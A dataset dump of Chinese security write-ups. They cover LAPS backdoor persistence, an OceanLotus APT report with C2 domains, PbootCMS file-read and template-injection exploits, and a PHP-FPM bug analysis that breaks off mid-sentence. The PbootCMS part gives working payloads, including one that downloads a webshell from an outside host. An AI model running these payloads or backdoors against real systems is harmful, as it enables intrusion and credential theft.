text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# 基于LAPS的隐蔽后门（三）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 前言
域网络中，主机的本地管理员很少被使用，但是给网络安全却带来了很大的风险。攻击者如果获取了本地管理员的NTLM，不必破解，即可通过PTH攻击域内其他主机。为了解决这个问题，微软在2014年发布了KB2871997和KB2928120两个补丁，PTH方式失效。但是如果域内主机的本地管理员的口令比较简单，则可能被破解，口令仍然可被用于口令猜解或爆破的字典库、IPC或远程桌面登录等。
因此，微软在2015年发布了一个本地管理员口令解决方案LAPS（Local Administrator Password
Solution），用来集中化管理域内主机本地管理员的口令。通过LAPS制作策略，强制管理域内主机的本地管理员口令，防止恶意攻击者利用本地管理员口令进行域内横向攻击。该方案包含客户端和服务器，分别安装于域内主机和域服务器。LAPS主要功能包括：
* 根据策略搜集本地管理员账号，设置符合密码策略的随机口令；
* 将新的口令上传到域服务器，并储存在域内对应的主机账号的属性中；
* 将新的过期日期更新到主机账号属性；
* 检查本地管理员账号的口令是否过期，如果口令过期，会产生新的随机口令，并更新AD中主机账号的相关属性。
LAPS提供了GUI和AdmPwd.PS脚本模块2种管理工具。安装完成LAPS后，需要使用AdmPwd.PS模块的Set-AdmPwdComputerSelfPermission命令，赋予某个OU或整个域内的主机具有设置自身属性的权限，图一所示，这是为了每个主机对象能自动存储口令明和口令过期时间。
图一 设置OU属性
在域服务器中，可通过GUI直接查看指定主机中本地管理员的口令明文，图二所示。有关LAPS的功能和使用介绍，请看参考文献[1]。
图二 LAPS UI方式查看口令明文及过期时间
## 0x02 服务器端的隐蔽后门
LAPS在域内的主机账号属性中增加了ms-Mcs-AdmPwd和ms-Mcs-AdmPwdExpirationTime两个属性。第1个属性存储本地管理员的口令明文，第2个属性存储口令的过期时间。这里也许有读者会疑问，为什么会储存明文口令，而不是某种密文形式的口令。
AdmPwd.PS模块的Find-AdmPwdExtendedRights命令，可检测域内哪些账号或组具备读取ms-Mcs-AdmPwd属性的权限。
在检测某个特定的域对象的AD权限时，有2个事情需要考虑：
**一是哪些域内主体可以赋予自身或其他域内主体这项AD权限；二是哪些已有的ACE包含了这项AD权限，这些ACE应用在哪些对象上。**
在做第1个事情的检查时，Find-AdmPwdExtendedRights没有检测安全描述符的控制权。在第2个事情的检查中，该接口通过4个方面来决定结果：
* AD对象类型；
* ACE访问掩码；
* ACE对象类型；
* ACE继承的对象类型。
在AD对象类型检测时，Find-AdmPwdExtendedRights仅仅分析应用到OU或计算机的ACE，所有其他的容器对象都忽略，使用Set-AdmPwdComputerSelfPermission进行权限设置时的参数也是OU类型。攻击者可以在非OU容器对象上赋予自身读取ms-Mcs-AdmPwd属性的权限。系统默认的Computers（CN=Computers）就是一个非OU的Container容器，除域服务器之外的所有域内主机默认会被加入该容器。Find-AdmPwdExtendedRights不会分析该容器，所以攻击者如果在该容器上给自己添加权限（权限会通过继承方式到达主机对象），则工具不会检测出。
msImaging-PSPs类型容器不在检测分析范围，如果将计算机对象放至该类型的容器中，则可以规避被检测。图三是msImaging-PSPs类型的对象。
图三 msImaging-PSPs类型对象
如果赋予某个低权限用户关于该类型容器的完全权限，则可以控制容器中计算机的属性，包括ms-Mcs-AdmPwd属性。实验中，win7x86user是域内普通用户，NotOu为一个msImaging-PSPs类型容器，其中有一台机器win7x86cn，在NotOu上赋予了win7x86user对该容器的全部权限，容器中的对象win7x86cn继承了所有权限，见图四。但LAPS的Find-AdmPwdExtendedRights命令没有检测到，见图五。
图四 赋予win7x86user完全控制权
图五 Find-AdmPwdExtendedRights检测结果
上面的测试和实验表明，在安装有LAPS环境的域网络中，可以有效利用LAPS作为一个隐蔽的后门，赋予低权限用户随时读取高权限主机本地管理员口令明文的权限，从而快速获取高权限主机的控制权，进一步通过散列值获取等方式获取域控制权限。当然这一切的前提是已经获取了域控制权限。
## 0x03 客户端的隐蔽后门
LAPS在客户端仅仅部署了一个AdmPwd.dll文件，用于响应来自域服务器的密码更改策略，然后将口令明文以Kerberos加密方式存储至服务器中对应的主机账号的ms-Mcs-AdmPwd属性。LAPS起源于一个公开项目，通过对公开项目源码的分析，可以使用手动的方式模拟口令修改过程，图六是在客户端系统权限下修改口令并推送至服务器端的测试结果，2个红框表示连续2次修改口令，以进行前后对比。图七表示在服务器端查看连续2次修改口令后的结果，比对图六，结果正确。
图六 客户端系统权限下2次修改口令
图七 在服务器端使用LAPS UI查看2次修改口令后的结果
客户端在使用AdmPwd.dll文件时，Windows并没有对该文件进行完整性校验或者签名验证。因此一个被篡改过的DLL一样可以正常使用。所以如果攻击者根据公开源码编译一个功能类似的DLL，同时在DLL中添加部分功能，将修改后的口令明文写到指定位置。这可使攻击者随时都能获取口令明文，从而具备对客户端的完全控制权限。
根据LAPS的安装介绍说明，在客户端上安装有3种方式，一是客户端安装LAPS.x64.msi或LAPS.x86.msi；二是在客户端使用regsvr32.exe
AdmPwd.dll安装。
如果以第二种方式在客户端安装LAPS，且AdmPwd.dll的目录为普通用户的可写目录，则普通用户可直接用伪造的DLL文件替换原来真实的DLL文件。可获取本地管理员的口令明文，获取本机的完全控制权，实现权限提升。
## 0x04 小结
LAPS是微软为了加强本地管理员的口令管理，提高网络安全性而部署的解决方案，但是方案中的一些瑕疵导致LAPS可以变成攻击者制作隐蔽后门的工具。不仅LAPS如此，许多其他软件亦是如此。随着产品的增多，安全性得到提升的同时，暴露给攻击者的攻击面同时也得到了扩大。安全之路任重道远。
## 参考文献
1. <https://flamingkeys.com//deploying-the-local-administrator-password-solution-part-1/>
2. <https://blog.netspi.com/running-laps-around-cleartext-passwords/>
3. <https://adsecurity.org/?p=1790>
4. [www.harmj0y.net/blog/powershell/running-laps-with-powerview/](http://www.harmj0y.net/blog/powershell/running-laps-with-powerview/) | 社区文章 |
# 【APT报告】海莲花团伙的活动新趋势
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**传送门**
[**“海莲花”团伙再活动，微步在线做出最新动向分析**](http://mp.weixin.qq.com/s/bEQQDFATtv-CdPZF0HkSiw) ****
**
**
**前言**
前天友商发布了一个关于海莲花APT团伙的新活动报告，揭露了一些新发现的样本和基础设施， **本文提供一些360威胁情报中心视野内的信息来构成更大的拼图。**
**历史**
**自从2015年5月360威胁情报中心首次发布揭露海莲花APT团伙报告以来，我们一直持续关注着此团伙的活动，团伙只是在报告发布以后沉寂过一小段时间，此后从来就没停止过活动，力度甚至超过以往。**
2016年6月，360威胁情报中心发布过又一篇跟踪分析：《海莲花重出水面》，介绍了结合终端和网络数据所监测到的更全面的攻击活动细节，详情可以参看链接：
<https://ti.360.net/blog/articles/resurface-of-oceanlotus/>
攻击活动可以简要以如下图来归纳：
当时活动相关的TTP描述如下：
**现状**
2017年7月360威胁情报中心截获并分析了多个海莲花团伙的新样本及对应的通信基础设施，相关的信息在威胁情报中心的数据平台上可以看到并且已经推送到天眼未知威胁检测系统及NGSOC的新版本中，用户如果查询到相关的IOC元素则可以立即看到平台输出的标签信息。
威胁情报中心发现的相关多个样本和IP/域名等基础设施：
网络层的IOC方面主要涉及如下几个在2017年4月3日集中注册的域名（同天注册似乎是海莲花团伙的操作惯例，甚至可以作为识别团伙的特征之一）。
域名为：
engine.lanaurmi.com
movies.onaldest.com
images.andychroeder.com
png.eirahrlichmann.com
基于样本及其他数据源的得到的其他类型IOC见IOC节，相关的技术分析可能会输出单独的报告。
**变化**
基于对样本及更多其他来源数据的整合分析和历史活动的长期跟踪，我们发现海莲花团伙活动的一些变化，值得在此分享给安全社区：
1\. **攻击所使用的木马后门工具更复杂对抗更强。** 360威胁情报中心分析了若干个除Cobalt
Strike组件以外的自研木马代码，发现其更加普遍地采用了白程序利用结合Shellcode的方式来绕过防病毒系统的检测，为了对抗人工分析恶意代码做了深度混淆。这个变化体现了团伙在技术能力上有了进一步地提升，使我们的分析工作需要更先进的工具，投入更多人力。
2\. **与去年相比，海莲花团伙的攻击活动面有所收窄，但攻击目标的针对性加强，鱼叉邮件的社工特性突出，体现对攻击目标的深度了解。**
有用户反馈到威胁情报中心的样本使用了如下的附件名：
invitation letter-zhejiang ***** working group.doc
星号是非常具体的目标所在组织的简称，目标人物在浙江省，所以附件名里加了zhejiang字样，暗示这是完全对目标定制的Payload。这与2016年采用的广撒网式的策略完全不同，体现了攻击目标的专注度。
3\. **攻击所采用的网络基础设施做了更彻底的隔离，使之更不容易做关联溯源分析。**
基于以往活动的分析，360威胁情报中心了解团伙所使用的IP偏爱193.169.*.*网段，过往很多攻击活动可以基于此非常容易地关联起来。今年的新近样本使用的网络基础设施与既往的没有重叠，非常”干净”。以往基于网络资源重叠的关联分析不再有效，导致分析人员需要耗费大量的人力去啃对抗加强后的样本以获取关联点，这些制造的麻烦虽然不至于使关联工作最终搁浅，但确实大大增加了资源的消耗。
4\. **对之前已经攻击过的目标会进行反复攻击，发送新版本的鱼叉邮件尝试再次获取控制。**
我们处理用户反馈的过程中发现对于海莲花团伙所认定的高价值用户，系统上的恶意代码由于被揭露而清除以后，攻击团伙还会尝试用新Payload进行攻击，对于之前已经控制的目标也会以新Payload转换控制所用的网络基础设施。
以上这些变化可以简单总结为海莲花团伙的技术水平在提升，与此同时攻击更加专注也更注意隐藏自己。
**IOC**
**传送门**
**[“海莲花”团伙再活动，微步在线做出最新动向分析](http://mp.weixin.qq.com/s/bEQQDFATtv-CdPZF0HkSiw)** | 社区文章 |
### 前言
> PbootCMS是全新内核且永久开源免费的PHP企业网站开发建设管理系统，是一套高效、简洁、 强悍的可免费商用的PHP
> CMS源码，能够满足各类企业网站开发建设的需要。
环境:
* Apache 2.4.39
* PHP 7.3.8
### 分析
该程序的特点是默认使用的`sqlite`数据库
可以看看数据库的配置文件`config/database.php`
<?php
/**
* 主数据库连接参数，未配置的参数使用框架惯性配置
* 如果修改为mysql数据库，请同时修改type和dbname两个参数
*/
return array(
'database' => array(
'type' => 'sqlite', // 数据库连接驱动类型: mysqli,sqlite,pdo_mysql,pdo_sqlite
'host' => '127.0.0.1', // 数据库服务器
'user' => 'pboot', // 数据库连接用户名
'passwd' => '123456', // 数据库连接密码
'port' => '3306', // 数据库端口
// 'dbname' => 'pbootcms' // 去掉注释，启用mysql数据库，注意修改前面的连接信息及type为mysqli
'dbname' => '/data/pbootcms.db' // 去掉注释，启用Sqlite数据库，注意修改type为sqlite
)
);
默认的数据库路径是`/data/pbootcms.db`，且data目录下没有进行任何的判断，后台也没有提供修改数据库路径的功能，所以可直接下载。
下载后用`sqlite3`打开就可以得到用户的hash，hash使用的是`md5(md5($pass))`生成的。
所以这里直接挖后台的洞
#### 任意文件读取
漏洞文件`apps/admin/controller/system/UpgradeController.php`
<?php
...
public function update(){
if ($_POST) {
if (! ! $list = post('list')) {
$list = explode(',', $list);
$backdir = date('YmdHis');
// 分离文件
foreach ($list as $value) {
if (stripos($value, '/script/') !== false) {
$sqls[] = $value;
} else {
$path = RUN_PATH . '/upgrade' . $value;
$des_path = ROOT_PATH . $value;
$back_path = DOC_PATH . STATIC_DIR . '/backup/upgrade/' . $backdir . $value;
if (! check_dir(dirname($des_path), true)) {
json(0, '目录写入权限不足，无法正常升级！' . dirname($des_path));
}
if (file_exists($des_path)) { // 文件存在时执行备份
check_dir(dirname($back_path), true);
copy($des_path, $back_path);
}
// 如果后台入口文件修改过名字，则自动适配
if (stripos($path, 'admin.php') !== false && stripos($_SERVER['SCRIPT_FILENAME'], 'admin.php') === false) {
if (file_exists($_SERVER['SCRIPT_FILENAME'])) {
$des_path = $_SERVER['SCRIPT_FILENAME'];
}
}
$files[] = array(
'sfile' => $path,
'dfile' => $des_path
);
}
}
// 更新数据库
if (isset($sqls)) {
$db = new DatabaseController();
switch (get_db_type()) {
case 'sqlite':
copy(DOC_PATH . $this->config('database.dbname'), DOC_PATH . STATIC_DIR . '/backup/sql/' . date('YmdHis') . '_' . basename($this->config('database.dbname')));
break;
case 'mysql':
$db->backupDB();
break;
}
sort($sqls); // 排序
foreach ($sqls as $value) {
$path = RUN_PATH . '/upgrade' . $value;
if (file_exists($path)) {
//echo $path;
//exit;
$sql = file_get_contents($path);
if (! $this->upsql($sql)) {
$this->log("数据库 $value 更新失败!");
json(0, "数据库" . basename($value) . " 更新失败！");
}
} else {
json(0, "数据库文件" . basename($value) . "不存在！");
}
}
}
// 替换文件
if (isset($files)) {
foreach ($files as $value) {
if (! copy($value['sfile'], $value['dfile'])) {
$this->log("文件 " . $value['dfile'] . " 更新失败!");
json(0, "文件 " . basename($value['dfile']) . " 更新失败，请重试!");
}
}
}
// 清理缓存
path_delete(RUN_PATH . '/upgrade', true);
path_delete(RUN_PATH . '/cache');
path_delete(RUN_PATH . '/complite');
path_delete(RUN_PATH . '/config');
$this->log("系统更新成功!");
json(1, '系统更新成功！');
} else {
json(0, '请选择要更新的文件！');
}
}
}
...
?>
可以看到注释写着更新数据库的部分，将`$sqls`遍历出来后放进了`file_get_contents`函数，然后调用了一个`upsql()`方法。跟过去看一下。
<?php
// 执行更新数据库
private function upsql($sql){
$sql = explode(';', $sql);
$model = new Model();
foreach ($sql as $value) {
$value = trim($value);
if ($value) {
$model->amd($value);
}
}
return true;
}
?>
将传过来的字符串用`;`分隔后又调用了一个`Model::amd()`方法。继续跟下去。
文件`core/database/Sqlite.php`
<?php
...
// 数据增、删、改模型，接受完整SQL语句，返回影响的行数的int数据
public function amd($sql){
$result = $this->query($sql, 'master');
if ($result) {
return $result;
} else {
return 0;
}
}
// 执行SQL语句,接受完整SQL语句，返回结果集对象
public function query($sql, $type = 'master'){
...
switch ($type) {
case 'master':
if (! $this->begin) { // 存在写入时自动开启显式事务，提高写入性能
$this->master->exec('begin;');
$this->begin = true;
}
$result = $this->master->exec($sql) or $this->error($sql, 'master');
break;
case 'slave':
$result = $this->slave->query($sql) or $this->error($sql, 'slave');
break;
}
return $result;
}
// 显示执行错误
protected function error($sql, $conn){
$err = '错误：' . $this->$conn->lastErrorMsg() . '，';
if ($this->begin) { // 存在显式开启事务时进行回滚
$this->master->exec('rollback;');
$this->begin = false;
}
error('执行SQL发生错误！' . $err . '语句：' . $sql);
}
...
?>
这里的`amd()`方法又调用了一个`query()`方法，在`query()`方法里可以看到直接将`$sql`放进SQL执行函数里，如果执行失败，直接将`$sql`打印出来。
这样看下来这里的漏洞可以拿来执行任意SQL语句，但是由于这里用的是`sqlite`数据库，且当前已经在后台里了，所以这里的任意SQL执行也没啥可以利用的。
**（可能可以审一下用数据库里的数据当做输入的点，没准能利用起来）**
但是由于正常的文件内容读出来直接当做SQL语句执行肯定会报错，所以这里可以用来读取文件。
经过回溯可以发现`$sqls`，使用的POST传输过来的数据，且数据中需要有`/script/`字符串。
构造Payload：
URL: http://pbootcms/admin.php?p=/Upgrade/update
POST: list=/script/../../../config/database.php
即可读取到文件
**（仅限在Windows下，Linux不支持在不存在的文件夹下上跳，Linux下利用的话得找到一个系统或者程序自带的/script/目录）**
#### 模板注入
看了一下程序后，了解到该程序使用了模板引擎进行内容解析，这时候就可以考虑能否进行模板注入了。
大概看了一下模板引擎的代码后发现一个解析`if`语句的地方很有趣。
文件：`apps/home/controller/ParserController.php`
精简后的代码如下：
<?php
public function parserIfLabel($content){
$pattern = '/\{pboot:if\(([^}^\$]+)\)\}([\s\S]*?)\{\/pboot:if\}/';
if (preg_match_all($pattern, $content, $matches)) {
$count = count($matches[0]);
for ($i = 0; $i < $count; $i ++) {
$danger = false;
// 带有函数的条件语句进行安全校验
if (preg_match_all('/([\w]+)([\\\s]+)?\(/i', $matches[1][$i], $matches2)) {
foreach ($matches2[1] as $value) {
if (function_exists($value)){
$danger = true;
break;
}
}
}
// 过滤特殊字符串
if (preg_match('/(\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[)|(\$_COOKIE\[)|(\$_SESSION\[)|(file_put_contents)|(fwrite)|(phpinfo)|(base64_decode)|(`)|(shell_exec)|(eval)|(system)|(exec)|(passthru)/i', $matches[1][$i])) {
$danger = true;
}
// 如果有危险函数，则不解析该IF
if ($danger) {
continue;
}
eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');
...
?>
这里大概的意思就是，在模板的`if`语句中，通过正则找到函数的结构，然后将其传入`function_exists`，如果该函数存在则不执行下面的`eval()`
如果可以编辑模板文件，或者存在模板注入的话，那么就可以尝试绕一下这些限制，看能不能往`eval()`里面注入代码。
在后台翻了一下，没有看到有对模板文件进行修改的地方，所以考虑模板注入。
在后台的公司信息栏目插入符合模板`if`语句的Payload:`{pboot:if(1)}OK{/pboot:if}`
可以看到这里的模板语句已经解析了。所以这里是存在模板注入的。
但是这个程序是有对所有参数进行全局的`htmlspecialchars`和`addslashes`的，在结合上面的正则，导致我们不能使用很多字符。
有：`'"$}`和反引号、`\x00`等等。
根据这个限制我很快有了一种思路：
php的语法有一些具有函数结构，但是却不是函数的关键字。
例如：`include()`、`array()`等。
现在思路就很明确了，既然 `include()`可以绕过函数检测这个点，那么往里面传参数就完事了。
接下来就是要想办法在当前限制下构造出一个字符串往`include()`里面传了。
* 思路1：
通过`$_SERVER`数组传，但是前面的正则ban了`$`，所以这个思路不行。
* 思路2：
使用`get_defined_vars()`从get的参数里面获取，但是`get_defined_vars`不能过`function_exists`，所以也不行。
* 思路3：
PHP7.2版本开始：不带引号的字符串是不存在的全局常量的话，那么则转化成他们自身的字符串。
意思就是`echo a`=>`define(a, 'a');echo a;`
那么就可以不使用引号，从而构造字符串了。
所以我们可以在后台上传一个图片马，然后用`include()`去包含getshell了。
但是这里有个问题，上传后的图片路径会有数字和`/`、`.`，而数字和`/`、`.`不带引号是不会触发上面说的trick的。
也就是现在能构造任意字母了，但是还需要数字和`/`、`.`
`/`和`.`其实很好办，PHP有几个预定义常量如`__FILE__`，获取当前的文件的绝对路径
在程序里打印一下看看
`.`和`/`都有，但是直接用数组的方式去取是会报错的。
这时候就需要用到刚刚说的`array()`了，将`__FILE__`放进`array()`里之后再利用去二维数组的方式去取就不会报错了。
**（因为这里是将常量赋值进了数组里面，不是直接对常量进行数组的方式取值，所以不会报错。）**
`var_dump(array(__FILE__)[0][-4]); //=.`
`var_dump(array(__FILE__)[0][-21]); //=/`
现在就缺数字了，而且该数字还必须是String型的数字。
PHP下还有带有数字的常量，例如`__LINE__`、`__PHP_VERSION__`，但是这些数字可能不太够，而且也不太能确定具体得值，不够"一般化"。
于是开始寻找别的办法。
于是我开始全局搜索`define(`，寻找在程序中定义的，可控或者含有数字的常量。
文件：`core/view/Paging.php`
<?php
...
public function limit($total = null, $morePageStr = false){
// 起始数据调整
if (! is_numeric($this->start) || $this->start < 1) {
$this->start = 1;
}
if ($this->start > $total) {
$this->start = $total + 1;
}
// 设置总数
if ($total) {
$this->rowTotal = $total - ($this->start - 1);
}
// 设置分页大小
if (! isset($this->pageSize)) {
$this->pageSize = get('pagesize') ?: Config::get('pagesize') ?: 15;
}
// 分页数字条数量
$this->num = Config::get('pagenum') ?: 5;
// 计算页数
$this->pageCount = @ceil($this->rowTotal / $this->pageSize);
// 获取当前页面
$this->page = $this->page();
// 定义相关常量，用于方便模板引擎解析序号等计算和调用
define('ROWTOTAL', $this->rowTotal);
define('PAGECOUNT', $this->pageCount);
define('PAGE', $this->page);
define('PAGESIZE', $this->pageSize);
// 注入分页模板变量
$this->assign($morePageStr);
// 返回限制语句
return ($this->page - 1) * $this->pageSize + ($this->start - 1) . ",$this->pageSize";
}
// 当前页码容错处理
private function page(){
$page = get('page', 'int') ?: $this->page;
if (is_numeric($page) && $page > 1) {
if ($page > $this->pageCount && $this->pageCount) {
return $this->pageCount;
} else {
return $page;
}
} else {
return 1;
}
}
...
?>
这里是该程序的一个分页类，可以看到里面有一个叫`PAGE`的常量，且该常量可控。
那么就寻找调用了这个分页类的地方传入`page`就好。
例如：`http://pbootcms/?keyword=123&page=0123456789`
且该常量为string类型。
至此，路径中需要的字符都构造出来了，只需要用`.`连接即可。
利用过程：
1. 上传图片马
得到路径`static/upload/image/20200417/1587111957160139.png`
2. 根据路径构造payload
`include(s.tatic.array(__FILE__)[0][0].upload.array(__FILE__)[0][0].image.array(__FILE__)[0][0].array(PAGE)[0][2].array(PAGE)[0][0].array(PAGE)[0][2].array(PAGE)[0][0].array(PAGE)[0][0].array(PAGE)[0][4].array(PAGE)[0][1].array(PAGE)[0][7].(马赛克).png)`
将payload放入模板的`if`语句中
3. 模板注入
4. 访问带有分页类且又能输出公司地址的地方
Getshell成功！！！CTF再次诚不欺我！！！
### 一般化
一开始在研究这个漏洞的时候，就觉得有点麻烦，又要上传图片马，又要构造图片马的路径，不能一个payload直接打，十分麻烦。
于是就跑去问了问P师傅 **（P牛，永远滴神！）**
P师傅理解了我的需求后，直接甩了个payload给我
看到后我才想起，以前就看过P师傅的一篇文章里面的一个trick：在一个函数的括号前面加入一些控制字符，PHP一样能识别改函数并执行。利用这个trick就可以执行任意函数了。
于是根据P师傅给的思路再结合程序本身的一些其他的黑名单限制，很快我就构造出了一个通用的Payload
`{pboot%3aif(copy%01(chr%01(104).chr%01(116).chr%01(116).(马赛克),chr%01(49).chr%01(46).chr%01(112).chr%01(104).chr%01(112)))}asdasdasd{/pboot%3aif}`
利用一个`copy()`函数到远程服务器上下载一个webshell放在本地，这里的webshell地址通过`chr()`函数一个个还原出shell地址一个个拼接。
向模板注入该payload：
访问前台触发点：
则会去`http://mock.x.dnshia.cn/shell`下载webshell，并保存到`1.php`
### 参考链接
[PHP动态特性的捕捉与逃逸](https://www.leavesongs.com/PENETRATION/dynamic-features-and-webshell-tricks-in-php.html) | 社区文章 |
"此漏洞非常的棒，特别是利用写的非常的精妙，可以作为二进制结合web的漏洞利用的典范，非常值得思考和学习",phithon师傅说。
同时也是因为本人也是对结合二进制的web漏洞比较感兴趣，觉得比较的好玩，所以就自己学习和分析一波，如果哪里分析的不对，希望大家可以及时的提出斧正，一起学习进步。
**对这个漏洞原理有所了解，但是想更加深入理解怎么利用的，建议直接看第五节**
### 0x1 前言
我这里提供一下我的调试环境: <https://github.com/wonderkun/CTFENV/tree/master/php7.2-fpm-debug>
关于漏洞存在的条件就不再说了，这里可能需要说一下的是 php-fpm 的配置了:
[global]
error_log = /proc/self/fd/2
daemonize = no
[www]
access.log = /proc/self/fd/2
clear_env = no
listen = 127.0.0.1:9000
pm = dynamic
pm.max_children = 5
pm.start_servers = 1
pm.min_spare_servers = 1
pm.max_spare_servers = 1
我把 `pm.start_servers` `pm.max_spare_servers` 都调整成了1，这样 php-fpm
只会启动一个子进程处理请求，我们只需要 `gdb attach pid`到这个子进程上，就可以调试了，避免多进程时的一些不必要的麻烦。
### 0x2 触发异常行为
先看一下nginx的配置
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
`fastcgi_split_path_info` 函数会根据提供的正则表表达式, 将请求的URL(不包括?之后的参数部分)，分割为两个部分，分别赋值给变量
`$fastcgi_script_name` 和 `$fastcgi_path_info` 。
那么首先在index.php中打印出 `$_SERVER["PATH_INFO"]` ,然后发送如下请求
GET /index.php/test%0atest HTTP/1.1
Host: 192.168.15.166
按照预期的行为，由于`/index.php/test%0atest` 无法被正则表达式 `^(.+?\.php)(/.*)$`
分割为两个部分，所以nginx传给php-fpm的变量中 `SCRIPT_NAME` 为 `/index.php/test\ntest` ,
`PATH_INFO` 为空，这一点很容易通过抓取nginx 和 fpm 之间的通信数据来验证。
`socat -v -x tcp-listen:9090,fork tcp-connect:127.0.0.1:9000`
这里的变量名和变量值的长度和内容遵循如下定义([参考fastcgi的通讯协议](http://www.mit.edu/~yandros/doc/specs/fcgi-spec.html)):
typedef struct {
unsigned char nameLengthB0; /* nameLengthB0 >> 7 == 0 */
unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
unsigned char nameData[nameLength];
unsigned char valueData[valueLength];
} FCGI_NameValuePair11;
typedef struct {
unsigned char nameLengthB0; /* nameLengthB0 >> 7 == 0 */
unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
unsigned char valueLengthB2;
unsigned char valueLengthB1;
unsigned char valueLengthB0;
unsigned char nameData[nameLength];
unsigned char valueData[valueLength
((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
} FCGI_NameValuePair14;
typedef struct {
unsigned char nameLengthB3; /* nameLengthB3 >> 7 == 1 */
unsigned char nameLengthB2;
unsigned char nameLengthB1;
unsigned char nameLengthB0;
unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
unsigned char nameData[nameLength
((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
unsigned char valueData[valueLength];
} FCGI_NameValuePair41;
typedef struct {
unsigned char nameLengthB3; /* nameLengthB3 >> 7 == 1 */
unsigned char nameLengthB2;
unsigned char nameLengthB1;
unsigned char nameLengthB0;
unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
unsigned char valueLengthB2;
unsigned char valueLengthB1;
unsigned char valueLengthB0;
unsigned char nameData[nameLength
((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
unsigned char valueData[valueLength
((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
} FCGI_NameValuePair44;
它把长度放在内容的前面，这样做导致我们没办法能够使得php-fpm对数据产生误解。到此为止，一切都还在我们的预期的范围内。但是 index.php
打印出来的 `$_SERVER["PATH_INFO"]` 却是 "PATH_INFO"， 这就非常奇怪了。。。。
为啥传过去的`PATH_INFO`是空，打印出来却是有值的?
其实这个问题我和 @rebirthwyw 在做 real world
CTF的时候已经注意到了，但是我并没有深层次的去看到底是为啥，错过了一个挖漏洞的好机会，真是tcl 。。。
### 0x3 调试分析异常原因
`gdb attach`之后，程序会停下来，看一下栈帧，我们是停在了 `fcgi_accept_request` 函数的内部。
► f 0 7f1071dbe990 __accept_nocancel+7
f 1 558cb067d462 fcgi_accept_request+147
f 2 558cb068c95a main+4502
f 3 7f1071cf52e1 __libc_start_main+241
发一个请求，单步跟踪一下，或者全局搜索一下，发现调用点，这里`while True` 的从客户端接收请求，然后进行处理。
`init_request_info` 函数是用来初始化客户端发来的请求的全局变量的，这是关注的重点。
单步跟踪此函数,如果开启了`fix_pathinfo`,就会进入如下尝试路径自动修复的关键代码。
在这里 `script_path_translated` 指向的就是全局变量 `SCRIPT_FILENAME`, 在这里其实就是
`/var/www/html/index.php/test\ntest`。红色箭头执行的函数 `tsrm_realpath`
是一个求绝对路径的操作，因为`/var/www/html/index.php/test\ntest`路径不存在,所以`real_path` 是
NULL，进入后面的 `while` 操作， 这里 `char *pt = estrndup(script_path_translated,
script_path_translated_len);` 是一个 malloc + 内容赋值的操作， 所以 pt存储的字符串也是
`/var/www/html/index.php/test\ntest`。
看一下 while 的具体操作
while ((ptr = strrchr(pt, '/')) || (ptr = strrchr(pt, '\\'))) {
*ptr = 0; //
if (stat(pt, &st) == 0 && S_ISREG(st.st_mode)) {
/*
* okay, we found the base script!
* work out how many chars we had to strip off;
* then we can modify PATH_INFO
* accordingly
*
* we now have the makings of
* PATH_INFO=/test
* SCRIPT_FILENAME=/docroot/info.php
*
* we now need to figure out what docroot is.
* if DOCUMENT_ROOT is set, this is easy, otherwise,
* we have to play the game of hide and seek to figure
* out what SCRIPT_NAME should be
*/
int ptlen = strlen(pt);
int slen = len - ptlen;
int pilen = env_path_info ? strlen(env_path_info) : 0;
int tflag = 0;
char *path_info;
if (apache_was_here) {
/* recall that PATH_INFO won't exist */
path_info = script_path_translated + ptlen;
tflag = (slen != 0 && (!orig_path_info || strcmp(orig_path_info, path_info) != 0));
} else {
path_info = env_path_info ? env_path_info + pilen - slen : NULL;
tflag = (orig_path_info != path_info);
}
if (tflag) {
if (orig_path_info) {
char old;
FCGI_PUTENV(request, "ORIG_PATH_INFO", orig_path_info);
old = path_info[0];
path_info[0] = 0;
if (!orig_script_name ||
strcmp(orig_script_name, env_path_info) != 0) {
if (orig_script_name) {
FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);
}
SG(request_info).request_uri = FCGI_PUTENV(request, "SCRIPT_NAME", env_path_info);
} else {
SG(request_info).request_uri = orig_script_name;
}
path_info[0] = old;
} else if (apache_was_here && env_script_name) {
/* Using mod_proxy_fcgi and ProxyPass, apache cannot set PATH_INFO
* As we can extract PATH_INFO from PATH_TRANSLATED
* it is probably also in SCRIPT_NAME and need to be removed
*/
int snlen = strlen(env_script_name);
if (snlen>slen && !strcmp(env_script_name+snlen-slen, path_info)) {
FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);
env_script_name[snlen-slen] = 0;
SG(request_info).request_uri = FCGI_PUTENV(request, "SCRIPT_NAME", env_script_name);
}
}
env_path_info = FCGI_PUTENV(request, "PATH_INFO", path_info);
}
做一个简单的解释，先去掉 `/var/www/html/index.php/test\ntest` 最后一个 `/` 后面的内容，看
`/var/www/html/index.php`这个文件是否存在，如果存在，就进入后续的操作。
注意几个长度：
ptlen 是 /var/www/html/index.php 的长度
len 是 /var/www/html/index.php/test\ntest 的长度
slen 是 /test\ntest 的长度
pilen 是 PATH_INFO 的长度，因为 PATH_INFO 在此时还是为空的，所以是 0
发生问题的关键是如下的操作:
path_info = env_path_info ? env_path_info + pilen - slen : NULL;
tflag = (orig_path_info != path_info);
因为 `pilen` 为0，这里相当于把原来的 `env_path_info` 强行向前移动了 `slen`, 作为新的`PATH_INFO`，这里的
`slen`刚好是10。
这就解释了发生异常的原因。
### 0x4 找漏洞利用点
根据前面的分析，`slen` 是 `/test\ntest` 的长度，我们应该可以完全控制。 换句话讲，我们可以让 `path_info` 指向
`env_path_info` 指向位置的前 `slen` 个字节的地方，然后这个内容作为新的 `PATH_INFO`,
